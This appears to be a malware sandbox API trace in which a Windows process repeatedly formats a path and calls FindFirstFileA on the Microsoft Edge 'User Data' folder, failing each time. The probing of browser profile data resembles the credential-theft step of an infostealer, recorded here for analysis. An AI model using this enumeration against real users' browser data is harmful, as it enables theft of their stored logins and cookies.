[0052.867] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\edge\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.867] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*") returned 65
[0052.867] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\edge\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.867] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*") returned 65
[0052.867] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\edge\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.867] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*") returned 65
[0052.867] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\edge\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.867] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*") returned 65
[0052.867] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\edge\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.867] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*") returned 65
[0052.867] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\edge\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.868] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*") returned 65
[0052.868] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\edge\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.868] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*") returned 65
[0052.868] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\edge\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.868] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*") returned 65
[0052.868] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\edge\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.868] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*") returned 65
[0052.868] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\edge\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.868] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*") returned 65
[0052.868] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\edge\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.868] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*") returned 65
[0052.868] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\edge\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.868] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*") returned 65
[0052.868] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\edge\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.868] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*") returned 65
[0052.868] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\edge\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.868] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*") returned 65
[0052.868] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\edge\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.869] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*") returned 65
[0052.869] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\edge\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.869] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*") returned 65
[0052.869] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\edge\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.869] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*") returned 65
[0052.869] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\edge\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.869] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*") returned 65
[0052.869] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\edge\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.869] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*") returned 65
[0052.869] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\edge\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.869] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*") returned 65
[0052.869] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\edge\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.869] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*") returned 65
[0052.869] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\edge\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.869] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*") returned 65
[0052.869] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\edge\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.869] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*") returned 65
[0052.869] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\edge\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.870] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*") returned 65
[0052.870] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\edge\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.870] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*") returned 65
[0052.870] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\edge\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.870] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*") returned 65
[0052.870] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\edge\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.870] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*") returned 65
[0052.870] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\edge\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.870] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Edge\\User Data\\\\*.*") returned 65
